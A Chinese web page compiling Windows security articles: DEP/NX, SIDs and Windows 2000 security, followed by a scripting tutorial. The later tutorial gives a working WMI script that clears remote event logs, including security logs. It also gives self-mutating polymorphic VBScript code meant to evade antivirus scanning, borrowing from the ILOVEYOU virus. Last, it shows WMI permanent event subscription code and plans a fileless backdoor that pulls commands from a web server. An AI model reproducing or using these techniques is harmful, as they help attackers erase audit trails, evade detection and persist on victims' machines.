欢迎来到个人简历网!永久域名:gerenjianli.cn (个人简历全拼+cn)
当前位置:首页 > 范文大全 > 实用文>WindowsXP SP2 DEP技术揭秘Windows安全

WindowsXP SP2 DEP技术揭秘Windows安全

2023-03-01 08:33:59 收藏本文 下载本文

“罗森桥爱因斯坦”通过精心收集,向本站投稿了7篇WindowsXP SP2 DEP技术揭秘Windows安全,以下是小编为大家准备的WindowsXP SP2 DEP技术揭秘Windows安全,供大家参考借鉴,希望可以帮助到有需要的朋友。

WindowsXP SP2 DEP技术揭秘Windows安全

篇1:WindowsXP SP2 DEP技术揭秘Windows安全

众所周知,Windows XP SP2中增加了一项安全新功能--DEP(Date Execution Prevention数据执行保护),可以保护计算机免受病毒的破坏,为了配合微软的DEP技术,Intel和AMD都开发了相应的防病毒CPU。

DEP的防病毒原理

如果你的系统升级到了SP2,启用SP2的DEP功能即可防范病毒破坏,这是因为DEP能够对各种程序进行监视,阻止病毒在受保护的内存位置运行有害代码。DEP通过处理器的NX(No eXecute)功能,查找内存中没有明确包含可执行代码的数据(这些数据有时会是病毒的源代码),找到这些数据后,NX将它们都标记为“不可执行”。以后如果某程序在内存中,试图执行这些带“不可执行”标记的代码,SP2将会自动关闭该程序。因此,假如你运行了一个已经染毒的软件,DEP就会把病毒代码标记为“不可执行”,这样就能阻止病毒在内存中运行,保护电脑中的文件免受蠕虫、病毒的传染破坏。

如果你想充分发挥DEP的保护功能,除了要把系统升级到SP2之外,你的CPU还必须支持DEP技术。目前常见的32位处理器(例如P4 Northwood等)并不支持NX,支持该技术的CPU主要有AMD的64位处理器(Athlon 64、AMD Opteron),以及Intel的安腾系列CPU、J系列的P4 Prescott,据说nVIDIA、VIA、全美达等公司也计划在其芯片中加入NX技术,不过这些厂商更新NX的步伐过于缓慢,正式推出还有待时日。

启用或禁用DEP的方法

默认情况下,SP2仅对基本 Windows 程序和服务启用了DEP。不过你也可以自己设置,让电脑上的所有程序都启用DEP,以便防范病毒。

例如除了Acrobat Reader5.0之外,要让所有的程序和服务都启用DEP,操作方法是:以管理员权限账户登录SP2,然后单击“开始→设置→控制面板”,双击“系统”,单击“高级”选项卡,单击“性能”下的“设置”,单击“数据执行保护”选项卡,选中“为除下列程序之外的所有程序和服务启用 DEP”,单击“添加”,导航到“Program Files”文件夹,选择该程序(Acrobat Reader 5.0)的可执行文件(扩展名为.exe),最后单击“确定”完成。

如果你要为某程序(例如Acrobat Reader 5.0)禁用DEP,可以单击以上的“添加”按钮,把它加到列表中即可。以后该程序就很容易受到攻击,病毒能够潜入该程序中,然后再传染给电脑上的其程序及Outlook中的联系人,并且破坏你的个人文件。如果有的程序启用 DEP 后无法正常运行,你可以向软件厂商索取兼容DEP的程序版本,如果没有这样的版本则禁用DEP。

为了支持DEP,P4 Prescott采用了EDB 技术

为了配合微软的DEP功能,Intel为自己的CPU开发了“Execute Disable Bit”(EDB)内存保护技术。目前Intel P4 Prescott(mPGA478与LGA775封装)为C0或D0步进核心,最新的J 系列P4 Prescott采用E0步进核心,

其中只有J系列P4 Prescott具备防病毒功能,只有它才真正支持EDB技术,能够配合SP2的DEP防毒功能,让针对缓冲区溢出(buffer overrun)漏洞设计的病毒失效,预防它们复制并散播到其他系统。

如果你使用了P4 Prescott/Celeron D(C0步进核心)的处理器,升级到SP2之后,就会发现Windows XP操作系统死锁在启动画面,但换上P4 Northwood却不会出现这个问题。这是因为SP2能够开启P4 Prescott (C0步进核心)内含的EDB 功能,但是这种型号的CPU并没有EDB的执行能力,其内部EDB部分的晶体管不会加电运作,因此会导致系统死锁。为了解决这个问题,微软已在9月14日发布了相关修正文件,大家可以到微软的 去下载。Windows XP英文版用户下载地址是download.microsoft.com/download/c/a/5/ca5f5398-2391-42e6-8b40-f6ec4db31c88/WindowsXP-KB885626-v2-x86-enu.exe,Windows XP简体中文版用户下载地址download.microsoft.com/download/2/b/7/2b75ebbf-ce4c-4595-8ddf-4d45e4c1ca18/Wind

关 键 字:Windows安全

篇2:windows server 安全技术详解

如果一个进程必须运行,而不管用户是否登录,那么该进程就以服务的形式加载,

第一章:主体、用户以及角色

系统安全,大多数情况下就是主体和对象之间的关系。安全主体是所有具有安全标识符SID并且能够访问资源的账户持有者(用户、组和计算机)。

用户:本地用户(在安全账户管理器SAM数据库中创建。一般DC没有本地用户,有也只有在目录恢复模式下使用)和域用户。windows 起跟之前最大的变动就是活动目录。

SID:大写字母S+修订级别(一般是1)+颁发机构(0不可知、1所有用户、2登陆用户、3创建或所有者、5操作系统本身)+第一个子颁发机构(目前最多4个,5登陆的会话、6服务、21不唯一、32内置、80服务)+其余子颁发机构+相对标识符(表示用户或计算机),

如:S-1-5-21-153416595923-165138082-500(该域的SID都是以S-1-5-21-153416595923-165138082开头,再加相对标识符表示用户)。

服务的SID以S-1-5-80开头,以基于服务名的子颁发机构序号结尾。这意味这该服务的SID在所有电脑上都一样。

如查找服务“FOO”的SID,可使用sc showsid命令:sc showsid foo。

内置安全标识符在所有电脑上都一样,内置相对标识符:500管理员501来宾502服务账户512域管理员513域用户514域来宾515域计算机516域控制器544内置管理员545内置用户546内置来宾。

篇3:Windows 2000中信息网络安全技术

随着信息技术和网络技术的发展,特别是Internet的不断普及,如何防止信息不被非法截获和破坏,即有效维护网络信息的安全性,成为越来越多的人关注的焦点,作为新一代的操作系统的Windows 2000,可通过多种技术和手段来控制用户对资源的访问,提高网络的安全性,其中包括与活动目录(Active Directory)服务的集成、支持认证Windows 2000用户的Kerberos v5认证协议、提供了公钥基础设施PKI支持,用公钥证书对外部用户进行认证、使用加密文件系统EFS(Encrypting File System)保护本地数据以、使用Internet协议安全IPSec(Internet Protocol security)来保证通过公有网络的通信的安全性,以及基于Windows 2000的安全应用开发的可扩展性等等。

1 活动目录技术

活动目录服务在Windows 2000信息安全和网络安全中具有重要作用,它是关于用户、硬件、应用和网络数据的存储中心,也存储用户的认证信息,以及用户使用某一资源的授权信息等。活动目录与Windows 2000的其他安全服务紧密集成,如Kerberos认证协议、公钥基础设施PKI、加密文件系统EFS、安全设置管理器和组策略等。同Windows NT中的平面文件(flat-file)目录不同,Windows 2000活动目录采用了代表商业企业组织结构的分层目录结构来存储信息,这样可以简化管理,具有良好的可伸缩性。为了创建这种分层结构,同Windows采用文件和文件夹来组织本地资源的方法类似,活动目录使用域(domains)、组织单元OUs(Organizational Units)和对象来管理和使用网络资源。

一个域是网络对象,包括组织单元、用户账号、组和计算机等的集合,它们共享一个公共目录数据库,并组成活动目录中逻辑结构的核心单元。每个域中可能包含多个组织单元和用户(对象),这样更符合公司或企业的组织模式。大的企业或组织可能包含多个域,这种情况下的域分层就称为域树(Domain Tree)。创建的第一个域为根(root)域,也称为父域,在其下面创建的域为子(child)域。为了支持更大的组织结构,多个域树连接起来可以组成森林(forest),在这种情况下,需要使用多个域控制器,活动目录就可以定时在多个域控制器之间复制信息,从而保持目录数据库信息的同步,

在域中,一个组织单元OU是把对象组织成逻辑管理组的容器,其中包括一个或多个对象,如用户账号、组、计算机、打印机、应用、文件共享或其他OU等。一个对象包括一个独立个体,如特定的用户、计算机或硬件信息(属性),如一个用户的属性可能包括名字、电话号码和电子邮件等;一个计算机对象的属性可能包括计算机位置和指定哪些用户或组能够访问该计算机资源的存取控制列表ACL(Access Control List)等。通过域和OU的组织形式,系统就可以以集合的形式来管理对象的安全性,如用户组和计算机组等,而不需要对每个独立的用户和对象进行配置。

为了使用户登录一次而在整个网络中使用资源,即单次登录(single sign-on),Windows 2000支持域之间的信任关系。在域之间建立起相互认证的逻辑关系,允许计算机和用户只需在域树(甚至森林)中的任何一个域中进行身份认证,然后就可以在整个网络中使用经过授权的资源。

2 Kerberos认证

Kerberos认证协议定义了客户端和称为密钥分配中心KDC(Key Distribution Center)的认证服务之间的安全交互过程。Windows 2000在每一个域控制器中应用KDC认证服务,其域同Kerberos中的realm功能类似,具体可参考RFC 1510协议。Windows 2000中采用多种措施提供对Kerberos协议的支持:Kerberos客户端使用基于SSPI的Windows 2000安全提供者,初始Kerberos认证同WinLogon的单次登录进行了集成,而Kerberos KDC也同运行在域控制器中的安全服务进行了集成,并使用活动目录作为用户和组的账号数据库。

Kerberos是基于共享密钥的认证协议,用户和密钥分配中心KDC都知道用户的口令,或从口令中单向产生的密钥,并定义了一套客户端、KDC和服务器之间获取和使用Kerberos票据的交换协议。当用户初始化Windows登录时,Kerberos SSP利用基于用户口令的加密散列获取一个初始Kerberos票据TGT,Windows 2000把TGT存储在与用户的登录上下文相关的工作站的票据缓存中。当客户端想要使用网络服务时,Kerberos首先检查票据缓存中是否有该服务器的有效会话票据。如果没有,则向KDC发送TGT来请求一个会话票据,以请求服务器提供服务。请求的会话票据也会存储在票据缓存中,以用于后续对同一个服务器的连接,直到票据超期为止。票据的有效期由域安全策略来规定,一般为8个小时。如果在会话过程中票据超期,Kerberos SSP将返回一个响应的错误值,允许客户端和服务器刷新票据,产生一个新的会话密钥,并恢复连接。

篇4:深入挖掘Windows脚本技术脚本安全

.write ”

目标IP:“              '也可以用navigate方法直接打开一'

.write ”

用户名:“            '个html文件,效果是一样的。'

.write ”

密码:

.write ”

类型:“                                  '不仅是input对象,所有DHTML支持'

.write ”应用程序 “                   '的对象及其属性、方法都可以使用。'

.write ”系统 “

.write ”安全“                        '访问这些对象的办法和网页中访问'

.write ”

“                                    '框架内对象是类似的。'

.write ”

.write ”

.write ”“

end with

dim wmi                                                          '显式定义一个全局变量'

set wnd=ie.document.parentwindow                                 '设置wnd为窗口对象'

set id=ie.document.all                                           '设置id为document中全部对象的集合'

id.confirm.onclick=getref(”confirm“)                             '设置点击”确定“按钮时的处理函数'

id.cancel.onclick=getref(”cancel“)                               '设置点击”取消“按钮时的处理函数'

do while true                                                    '由于ie对象支持事件,所以相应的,'

wscript.sleep 200                                                '脚本以无限循环来等待各种事件。'

loop

sub event_onquit                                                 'ie退出事件处理过程'

wscript.quit                                                     '当ie退出时,脚本也退出'

end sub

sub cancel                                                       '”取消“事件处理过程'

ie.quit                                                          '调用ie的quit方法,关闭IE窗口'

end sub                                                          '随后会触发event_onquit,于是脚本也退出了'

sub confirm                                                      '”确定“事件处理过程,这是关键'

with id

if .ip.value=”“ then .ip.value=”.“                               '空ip值则默认是对本地操作'

if not (.app.checked or .sys.checked or .sec.checked) then       'app等都是checkbox,通过检测其checked'

wnd.alert(”至少选择一种日志“)                                 '属性,来判断是否被选中。'

exit sub

end if

set lct=createobject(”wbemscripting.swbemlocator“)               '创建服务器定位对象'

on error resume next                                             '使脚本宿主忽略非致命错误'

set wmi=lct.connectserver(.ip.value,”root/cimv2“,.user.value,.pass.value) '连接到root/cimv2名字空间'

if err.number then                                               '自己捕捉错误并处理'

wnd.alert(”连接WMI服务器失败“)                                '这里只是简单的显示“失败”'

err.clear

on error goto 0                                               '仍然让脚本宿主处理全部错误'

exit sub

end if

if .app.checked then clearlog ”application“                      '清除每种选中的日志'

if .sys.checked then clearlog ”system“

if .sec.checked then clearlog ”security“                         '注意,在XP下有限制,不能清除安全日志'

wnd.alert(”日志已清除“)

end with

end sub

sub clearlog(name)

wql=”select * from Win32_NTEventLogFile where logfilename='“&name&”'“

set logs=wmi.execquery(wql)                                      '注意,logs的成员不是每条日志,'

for each l in logs                                               '而是指定日志的文件对象。'

if l.cleareventlog then

wnd.alert(”清除日志“&name&”时出错!“)

ie.quit

wscript.quit

end if

next

end sub

总结一下整个过程。首先是创建internetexplorer.application对象。其直接的效果是启动了一个iexplorer进程,但窗口是不可见的,直到设置了ie.visible=1。然后用document.write方法将html语句写到ie窗口中。对于复杂的界面,可以将html代码保存为一个html文件,用ie.navigate(filename)打开,

最后是响应窗口中的输入。这基本上属于DHTML的知识范畴。

与一般脚本编程最大的不同之处,在于ie是事件驱动的。你所要做的,就是设置好相应的事件处理函数/过程。

在本例中,脚本只关心3个事件:ie退出,”确定“按钮被点击,”取消“按钮被点击。

注意,例子中只有两句设置事件处理过程的语句,没有定义ie退出事件与event_onquit过程关联。这是因为这里用到一个特性――创建ie对象时的第二个参数”event_“是一个前缀,ie对象的事件处理过程名是该前缀加事件名。所以onquit事件的处理过程默认就是event_onquit。

当点击”确定“按钮后,confirm过程被调用。例子中演示了如何访问ie中的对象,比如ie.document.all.ip.value就是在”目标IP“文本框中的输入。如果选中”应用程序“这个checkbox,那么ie.document.all.app.checked的值是true,否则是false。想调用alert方法,则用ie.document.parentwindow.alert。其他各种ie内对象的访问方法完全是类似的。具体的可以看DHTML相关资料。

有了web界面,交互就变得丰富多彩了。大家可以充分发挥创意。

比如,很多GUI工具(比如流光)启动时,有一个logo页,显示版权等信息。我们用ie对象也可以模拟一个出来:

set ie=wscript.createobject(”internetexplorer.application“)

ie.fullscreen=1

ie.width=300

ie.height=150

ie.navigate ”about:blank“

ie.left=fix((ie.document.parentwindow.screen.availwidth-ie.width)/2)

ie.top=fix((ie.document.parentwindow.screen.availheight-ie.height)/2)

ie.document.write ”

“&_

篇5:深入挖掘Windows脚本技术脚本安全

ie.visible=1

wscript.sleep 5000

ie.quit

上面这段代码执行后,将在屏幕中央显示一个连标题栏和边框都没有的ie窗口,持续5秒。

窗口里是蓝底黑字的“这是一个Logo”。

脚本GUI化之后,与用户的交互更直观。像Nmap那样有很多参数的工具,在本地使用时,写一个图形界面的“接口”就一劳永逸了。输出的结果也可以用脚本处理,以更适合阅读的方式显示,就像流光等工具能生成html扫描报告那样。

【反查杀】

首先必须说明的是,我完全没有试图挑战杀毒软件杀毒能力的意思。Windows脚本是一种解释性语言,明文保存代码。由于没有经过编译过程,代码的复杂程度远不如可执行程序(exe)。exe做不到的事,没理由指望脚本能做到。不过,正因为脚本的反查杀能力很差,以至于杀毒软件使用的查杀办法也不高级。于是我们就有机可乘了。

先看看常见的反查杀办法:

1,字符串或语句的分割/重组。

最典型的例子就是将 fso=createobject(”scripting.filesystemobject“)

变成 fso=createobject(”script“+”ing.filesyste“+”mobject“)

这种办法的扩展是用execute语句:

execute(”fso=crea“+”teobject(“”scr“+”ipting.filesy“+”stemobject“”)“)

2,变量名自动改变。

Randomize

Set f = CreateObject(”Scripting.FileSystemObject“)

vC = Of.OpenTextFile(WScript.ScriptFullName, 1).Readall

fS = Array(”Of“, ”vC“, ”fS“, ”fSC“)

For fSC = 0 To 3

vC = Replace(vC, fS(fSC), Chr((Int(Rnd * 22) + 65)) & Chr((Int(Rnd * 22) + 65)) & Chr((Int(Rnd * 22) + 65)) & Chr((Int(Rnd * 22) + 65)))

Next

Of.OpenTextFile(WScript.ScriptFullName, 2, 1).Writeline vC

上面这段代码取自爱虫病毒,大家运行一下,就知道是怎么回事了。

3,用官方工具――脚本编码器screnc.exe[5]加密脚本。

加密后的脚本能被脚本宿主直接解释。本来这是最好的解决办法,但“枪打出头鸟”,由于加密是可逆的,现在所有的杀毒软件都有解码功能。因此这个办法的效果基本上为零。

第一个办法的有效告诉我们这样一个事实:对脚本病毒的查杀基本上是属于静态的。而且,我发现即使只是改变大小写,也能起到反查效果(只试了一种杀毒软件)。反查杀的关键是减少特征码。

对于exe的反查杀,最容易想到的就是“加壳”。在脚本上也可以应用这个办法。比如:

str=”cswpire.tohcO“” “”!K“

for i=1 to len(str) step 3

rev=rev+strreverse(mid(str,i,3))

next

execute rev

一个最简单的“壳”。“壳”的算法是每n个字符反转顺序一次。n就是算法的“种子”,本例中它等于3。

这个“壳”是死的,起不到减少特征码的效果。反而增加了特征码,如”cswpire“。

下面看一个复杂些的例子:

str=”wscript.echo “”OK!“”:randomize:key=int(rnd*8+2):str=rev:str=replace(str,chr(34),chr(34)+chr(34)):set aso=createobject(“”ADODB.Stream“”):with as.open:.writetext “”str=“”+chr(34)+str+chr(34)+“”:key=“”+cstr(key)+“”:str=rev:execute str:function rev():for i=1 to len(str) step key:rev=rev+strreverse(mid(str,i,key)):next:end function“”:.savetofile wscript.scriptfullname,2:end with“:key=1:str=rev:execute str:function rev():for i=1 to len(str) step key:rev=rev+strreverse(mid(str,i,key)):next:end function

(注意,该代码只有一行,没有回车)

保存成vbs文件,双击执行,效果还是和前一段代码一样,弹出一个对话框显示”OK!“。

但是,执行完后再看代码,可能变成了这样:

str=”tpircsw“” ohce.ar:“”!KOezimodnni=yek:8*dnr(trts:)2+ts:ver=alper=r,rts(ec)43(rhc43(rhc,3(rhc+)tes:))4rc=osa jboetaeDA“”(tcertS.BDOw:)“”maeosa hti:nepo.:tetirw.ts“” txerhc+“”=rts+)43(3(rhc+rek:“”+)4tsc+“”=y+)yek(rr=rts:“”cexe:verts etuitcnuf:(ver noi rof:)l ot 1=)rts(nek pets =ver:yerts+veresreverts(dim(yek,i,rtxen:))uf dne:“”noitcntevas.:w elifo.tpircsftpircsemanllu dne:2,htiw“:key=7:str=rev:execute str:function rev():for i=1 to len(str) step key:rev=rev+strreverse(mid(str,i,key)):next:end function

再执行,又变成其他样子了。这个脚本是自变形的。

如果仔细看代码就会发现,“壳”的算法依旧,而“种子”随机改变。但是,加壳过的内容每次不同了,“壳”本身还是没有任何改变。很多exe加壳工具加的壳,本身就被当作恶意代码来提取特征码。为了更好的反查杀,脚本的“壳”也需要动态改变。这就要用到所谓的多态技术。不过,exe的多态是用来反动态查杀的,而脚本的“多态”只是应付静态查杀,两者有很大不同。

对于exe,真正的多态目前还未听说被实现的。脚本也只能做多少算多少。

不影响功能的变形方法,除了上面提到的3种,还有:

1,随机改变大小写;

2,冒号(:)与回车符随机互换(字符串内和”then“之后的冒号除外);

3,字符串分割时,”+“与”&“随机互换;

4,()+-*/&,等字符两边任意添加空格或续行符(_)和回车符的组合;

5,用自定义函数替换内置函数;即使自定义的函数只是简单的封装内置函数,但至少改变了关键字的位置。

…………

还有其他“多态”算法有待你的研究。

这些算法的应用,是以大幅增加代码长度为前提的。如果想写一个比较完美的“壳”,相信会涉及到“文法分析”的知识,因为脚本要“读懂”自己,从而达到类似Java混淆器的效果,这就很复杂了,有机会再和大家探讨。下面我们应用“语句分割”、“变量名自动改变”、“随机大小写”、“+和&互换”四种方法,看一下效果如何:

A001=”wscript.echo “”OK!“”:A004=chr(34):randomize:A005=int(rnd*24000+40960):A001=A006(A001):A000=A005 mod 10+2:A001=replace(A002,A004,A004&A004):set A007=createobject(“”ADODB.Stream“”):A007.open:A007.writetext hex(A005+1)&“”=“”&A004&A001&A004&A008(“”:execute “”&A004&A006(“”A000=“”&A000&“”:A001=A002:execute A001:function A002():for A003=1 to len(A001) step A000:A002=A002+strreverse(mid(A001,A003,A000)):next:end function“”)&A004):A007.savetofile wscript.scriptfullname,2:function A006(A009):for A00A=0 to 12:A009=replace(A009,hex(&HA000+A00A),hex(A005+A00A)):next:A006=A009:end function:function A008(A009):for A00A=1 to len(A009):A00B=mid(A009,A00A,1):if int(rnd*2-1) then A00B=ucase(A00B):end if:if A00A>11 and int(rnd*5)=0 then A008=A008&A004&chr(38+int(rnd*2)*5)&A004:end if:A008=A008&A00B:next:end function“:A000=1:A001=A002:execute A001:function A002():for A003=1 to len(A001) step A000:A002=A002+strreverse(mid(A001,A003,A000)):next:end function

(注意,其中没有回车符)

上面是“原版”的,保存为vbs文件双击运行,还是弹出对话框显示”OK!“。再看代码变形成什么样了(效果是随机的):

B906=”tpircsw“” ohce.9B:“”!KO(rhc=90nar:)43:ezimodni=A09B2*dnr(t04+00049B:)069B09B=60:)609B(9B=509B dom A09B:2+01lper=6009B(eca,909B,79B&909Btes:)90c=C09B boetaerA“”(tcejtS.BDOD:)“”maerpo.C09BC09B:netetirw.xeh txe1+A09B(B&“”=“”&)09B&909&909B&6:“”(D09Betucexe909B&“” “”(B09B&&“”=509B:“”&509B9B=609Bcexe:709B etucnuf:609B noitof:)(70=809B rel ot 1)609B(nB pets 09B:509+709B=7everrtsdim(esrB,609B(09B,809xen:))5f dne:tnoitcnu909B&)“”.C09B:)fotevascsw elics.tpirluftpir2,emanlitcnuf:B09B n)E09B(09B rof ot 0=FE09B:21calper=,E09B(eBH&(xeh09B+509(xeh,)F9B+A09Ben:))F0B09B:txe:E09B=cnuf dnuf:noit noitcn9B(D09Brof:)E01=F09B nel ot :)E09B(im=019B,E09B(d)1,F09Btni fi:-2*dnr(neht )1u=019B 9B(esacdne:)01 fi:fi 11>F09Bni dna 5*dnr(teht 0=)=D09B n9B&D09B(rhc&90(tni+83*)2*dnr909B&)5fi dne:B=D09B:19B&D09:txen:0nuf dnenoitc“:EXecUTe ”B9“&”05=7“&”:B906“&”=B907:E“+”XEc“+”utE B906“+”:FuN“&”ctIoN B9“&”07():fOr“+” B9“+”08=1 tO l“&”En(B906)“+” step B905:B907“&”=B907+“&”sTRreVErSe(MId(“&”B9“&”0“&”6,B908,B905“&”)“+”):N“+”eX“+”t“+”:eNd fUN“&”CtiOn“

眼花了没?再来一次:

F0CB=”rcsw.tpiohceKO“” F:“”!=EC0(rhc:)43dnarzimo0F:ei=FCr(tn2*dn0004904+:)06BC0FD0F=0F(0:)BCAC0FC0F=om F01 dF:2+=BC0lper(ecaCC0FC0F,0F,EF&EC)EC0tes:D0F rc=1etaeejbo“”(tcDODAtS.BmaerF:)“”.1D0nepoD0F:rw.1teti txe(xehFC0F&)1+&“”=“”EC0FC0F&0F&BF&EC(2D0xe:“”tuce&“” eEC0FD0F&F“”(0=AC00F&“”“”&ACC0F:0F=Be:CCucex etBC0Fnuf:oitc0F n)(CCrof:C0F 1=Dl otF(ne)BC0ets 0F pF:AC=CC0CC0Frts+ever(esr(dimBC0FC0F,0F,D))ACxen:ne:tuf ditcn)“”noC0F&F:)E.1D0evasifotw elircss.tppircluftmanl:2,ecnufnoitD0F 0F(0:)3D rof4D0Ft 0=21 oD0F:er=3calp0F(eh,3D&(xeC0FH0F+A,)4D(xehFC0FD0F+:))4txenD0F:0F=0e:3Df dntcnu:noicnufnoitD0F 0F(2:)3D rof4D0Ft 1=el o0F(n:)3D5D0Fdim=D0F(0F,31,4Dfi:)tni dnr(1-2*ht )F ne=5D0sacu0F(e:)5D dnei:fi0F f1>4Dna 1ni dnr(t)5*dt 0= neh2D0FD0F=0F&2c&EC3(rhni+8nr(t)2*d&)5*EC0Fdne::fi 2D0FD0F=0F&2n:5D:txe dnecnufnoit“:eXecUtE ”F“+”0CA“&”=4:F0CB“+”=“+”F0CC:eX“+”e“+”cUte F0CB“&”:F“+”UNC“+”tIOn F0CC():F“+”or“+” F0“&”CD=1 tO LEN(F0CB) sTEp F0CA:F0CC=F0CC+strR“+”Ever“+”SE“&”(mID(“+”F0CB,“+”F0CD,F0CA)):nEXT:eNd FU“&”nCTIo“&”N“

这样够了吗?――不知道。也许杀毒引擎本来就是忽略大小写的,本来就能自动连接字符串,本来就能“文法分析”……

这个“壳”有实用性吗?――没有。因为“壳”的算法太简单。“种子”A000 = A005 mod 10 + 2,所以如果不考虑自动改变的变量名,加壳后的代码只有10种样子。

如何改进这个“壳”?――当然是用更复杂的算法,更多的“多态”。

如果你有兴趣,可以先看那个“原版”的脚本代码(把冒号都替换为回车,可读性就比较好了),然后自己加强它。

当然,你也可以另起炉灶,自由展现你的创意。

【来做个后门】

在讨论脚本后门前,先要介绍一类很有用的WMI对象。事实上,这才是本节的关键。脚本后门不过是它的一个应用而已。

前面已经说过,WMI是事件驱动的。整个事件处理机制分为四个部分:

1,事件生产者(provider):负责产生事件。WMI包含大量的事件生产者。有性能计数器之类的具体的事件生产者,也有类、实例的创建、修改、删除等通用的事件生产者。

2,事件过滤器(filter):系统每时每刻都在产生大量的事件,通过自定义过滤器,脚本可以捕获感兴趣的事件进行处理。

3,事件消费者(consumer):负责处理事件。它可以是可执行程序、动态链接库(dll,由WMI服务加载)或者脚本。

4,事件绑定(binding):通过将过滤器和消费者绑定,明确什么事件由什么消费者负责处理。

事件消费者可以分为临时的和永久的两类。临时的事件消费者只在其运行期间关心特定事件并处理。永久消费者作为类的实例注册在WMI名字空间中,一直有效直到它被注销。显然,永久事件消费者更具实用性。还是来看个例子:

nslink=”winmgmts:\\.\root\cimv2:“        '只需要本地连接,所以用这种语法,不用swbemlocator对象'

set asec=getobject(nslink&”ActiveScriptEventConsumer“).spawninstance_  '创建“活动脚本事件消费者”'

asec.name=”stopped_spooler_restart_consumer“                 '定义消费者的名字'

asec.scriptingengine=”vbscript“                              '定义脚本语言(只能是vbscript)'

asec.scripttext=”getobject(“”winmgmts:win32_service='spooler'“”).startservice“ '脚本代码'

set asecpath=asec.put_                                       '注册消费者,返回其链接'

set evtflt=getobject(nslink&”__EventFilter“).spawninstance_  '创建事件过滤器'

evtflt.name=”stopped_spooler_filter“                         '定义过滤器的名字'

qstr=”select * from __instancemodificationevent within 5 “   '每5秒查询一次“实例修改事件”'

qstr=qstr&”where targetinstance isa “”win32_service“” and “  '目标实例的类是win32_service'

qstr=qstr&”targetinstance.name=“”spooler“” “                 '实例名是spooler'

qstr=qstr&”and targetinstance.state=“”stopped“”“             '实例的state属性是stopped'

evtflt.query=qstr                                            '定义查询语句'

evtflt.querylanguage=”wql“                                   '定义查询语言(只能是wql)'

set fltpath=evtflt.put_                                      '注册过滤器,返回其链接'

set fcbnd=getobject(nslink&”__FilterToConsumerBinding“).spawninstance_ '创建过滤器和消费者的绑定'

fcbnd.consumer=asecpath.path                                           '指定消费者'

fcbnd.filter=fltpath.path                                              '指定过滤器'

fcbnd.put_                                                             '执行绑定'

wscript.echo ”安装完成“

这个脚本的效果是:当“后台打印”服务(spooler)状态改变为停止时,消费者将进行处理――重启spooler。

先net start spooler,然后net stop spooler。最多5秒钟,spooler又会启动。

直接运行上面的脚本会出错,因为“活动脚本事件消费者”(ActiveScriptEventConsumer ASEC)默认没有被安装到root\cimv2名字空间。

用记事本打开%windir%\system32\wbem\scrcons.mof,将第一行“#pragma namespace (”\\\\.\\Root\\Default“)”删除,或者修改为“#pragma namespace (”\\\\.\\Root\\cimv2“)”。XP/没有这一行,不用修改。

然后执行下面这个命令:

C:\WINNT\system32\wbem>mofcomp.exe -N:root\cimv2 scrcons.mof

Microsoft (R) 32-bit MOF 汇编器版本 1.50.1085.0007

版权所有 (c) Microsoft Corp. -。保留所有权利。

正在分析 MOF 文件: scrcons.mof

MOF 文件分析成功

将数据储存到储备库中...

已完成!

这样就把ASEC安装到root\cimv2了。mofcomp.exe和scrcons.mof都是系统自带的。

默认将ASEC安装到root\default名字空间,而XP/2003默认已经安装到root\subscription名字空间,但由于事件过滤器不能跨名字空间捕捉事件(XP/2003可以),事件绑定也不能跨名字空间,而大部分事件都在root\cimv2产生,所以需要重新安装ASEC到事件源所在的名字空间。下面这个脚本自动完成ASEC重安装任务。

set shl=createobject(”WScript.Shell“)

set fso=createobject(”Scripting.FileSystemObject“)

path=shl.expandenvironmentstrings(”%windir%\system32\wbem\“)

set mof=fso.opentextfile(path&”scrcons.mof“,1,false,-1)   'mof都是Unicode格式的'

mofs=mof.readall

mof.close

mofs=replace(mofs,”\\Default“,”\\cimv2“,1,1)              '替换默认的名字空间'

mofp=path&”asecimv2.mof“

set mof=fso.createtextfile(mofp,false,true)               '创建临时mof文件'

mof.write mofs

mof.close

shl.run path&”mofcomp.exe -N:root\cimv2 “&mofp,0,true     '安装到root\cimv2'

fso.deletefile(mofp)

wscript.echo ”安装完成“

注销永久事件:

nslink=”winmgmts:\\.\root\cimv2:“

myconsumer=”stopped_spooler_restart_consumer“              '指定消费者的名字'

myfilter=”stopped_spooler_filter“                         '指定过滤器的名字'

set binds=getobject(nslink&”__FilterToConsumerBinding“).instances_

for each bind in binds

if strcomp(right(bind.consumer,len(myconsumer)+1),myconsumer&chr(34),1)=0 _

and strcomp(right(bind.filter,len(myfilter)+1),myfilter&chr(34),1)=0 then

getobject(”winmgmts:“&bind.consumer).delete_        '删除消费者'

getobject(”winmgmts:“&bind.filter).delete_          '删除过滤器'

bind.delete_                                        '删除绑定'

exit for

end if

next

wscript.echo ”卸载完成“

除了ASEC,WMI还提供其他永久事件消费者,比如SMTPEventConsumer。当系统出现异常时,可以通过它自动给管理员的信箱发信。WMITools里的WMI Event Registration用于创建、修改、删除指定名字空间里的永久事件消费者、事件过滤器和计时器事件源的实例,以及绑定或解除绑定它们。

关于事件处理机制的各个部分,在《WMI技术指南》里有详细的讲述,MSDN里当然更全面。我就点到为止了。

(看累了吧,喝口水,休息一下 ^_^)

下面开始讨论脚本后门。

WMI提供了两个计时器:__AbsoluteTimerInstruction和__IntervalTimerInstruction,分别在指定的时刻和时间间隔触发事件,注册一个过滤器来捕获计时器事件,再和ASEC绑定,我们就获得了一种少见的程序自启动的方法。而且,脚本代码完全隐藏在CIM存储库中,不以独立的文件存在,查杀比较困难。这是脚本后门的优势,但困难也不少:

1,脚本运行时,由系统自带的scrcons.exe作为脚本宿主(Windows的设计者还没有笨到用WMI服务作为脚本宿主)。这就会增加一个进程,虽然是系统正常的进程,杀毒软件拿它没辙,但还是太显眼了。所以,不能让脚本一直在后台运行,而是应该每隔一段时间启动一次,然后尽快结束。脚本结束后,scrcons.exe进程不会自动结束,必须让脚本借助WMI提供的Win32_Process对象主动终止宿主进程(煮豆燃豆萁?!)。

2,脚本的网络功能很差,基本上只能依靠Microsoft.XMLHTTP之类的对象。因此,脚本后门不能监听端口并提供cmd shell,只能反向连接到web服务器,获取控制命令。一个可行的办法是,在web服务器上放一个命令文件,脚本后门根据域名找到服务器并下载命令文件,再根据文件内容作出响应。所以,你需要一台web服务器,或者用netbox等工具建个临时服务器。当然,你不需要让服务器总是在线,需要控制脚本后门时再运行就可以了。

3,由于脚本后门间歇式运行,需要防止重复运行同一个命令。解决方法是在注册表里记录命令的长度,每次获取命令后将长度和记录做比较,如果相同则跳过,不同则覆盖并执行命令。

